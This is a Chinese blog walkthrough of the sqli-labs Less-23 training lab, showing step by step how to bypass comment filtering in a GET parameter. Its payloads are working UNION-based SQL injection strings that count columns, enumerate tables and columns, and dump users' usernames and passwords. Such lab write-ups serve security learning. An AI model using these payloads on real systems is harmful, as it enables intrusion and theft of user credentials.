(手工)【sqli-labs23】联合查询+报错回显

目录

推荐:

一、(手工)SQL注入基本步骤:

二、Less23(GET-Error based - strip comments)

2.1、简介:(GET注入-过滤注释)

2.2、第一步:注入点测试

 2.3、第二步:分析过滤

2.4、第三步:判断字段数

2.5、第四步:暴库

2.6、第五步:爆表名

2.7、第六步:爆字段

2.8、第七步:爆数据


推荐:

【SQL注入】联合查询(最简单的注入方法)icon-default.png?t=M666https://blog.csdn.net/qq_53079406/article/details/125551764?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522165752637916782246458034%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=165752637916782246458034&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-1-125551764-null-null.185^v2^control&utm_term=%E8%81%94%E5%90%88%E6%9F%A5%E8%AF%A2&spm=1018.2226.3001.4450【SQL注入-可回显】报错注入:简介、相关函数、利用方法icon-default.png?t=M666https://blog.csdn.net/qq_53079406/article/details/125017089?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522165752643116781683967253%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=165752643116781683967253&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-1-125017089-null-null.185^v2^control&utm_term=%E6%8A%A5%E9%94%99&spm=1018.2226.3001.4450

 



一、(手工)SQL注入基本步骤:

第一步:注入点测试

第二步:分析过滤

第三步:判断字段数

第四步:爆数据库名

第五步:爆表名

第六步:爆字段名

第七步:爆数据



二、Less23(GET-Error based - strip comments)

2.1、简介:(GET注入-过滤注释)

请求方法:GET

方法:报错回显+联合查询

2.2、第一步:注入点测试

使用' " ) 寻找注入点

是单引号闭合

 

 2.3、第二步:分析过滤

 使用#注释后面单引号,仍报错 

 使用--+注释后面单引号,仍报错 

可以想到--+和#都已经被过滤了

接下来考虑不注释掉后面的语句

对语句进行拼接,前后各加上一个单引号闭合前后

并使用联合查询,拼接语句

 

2.4、第三步:判断字段数

?id=-1' union select 1, 2, 3 '

正常回显

 

?id=-1' union select 1, 2, 3,4 '

报错

 所以字段数为3

2.5、第四步:暴库

?id=-1' union select 1,2,database() '

 或者

?id=-1' union select 1,database(),3 or '1'='1

 

2.6、第五步:爆表名

id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' '

或者

?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 or '1'='1

 

2.7、第六步:爆字段

 ?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' '

或者

?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 or '1'='1

 

2.8、第七步:爆数据

?id=-1' union select 1,(select group_concat(concat_ws('-',id,username,password)) from users),3 or '1'='1

 

  • 3
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

黑色地带(崛起)

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值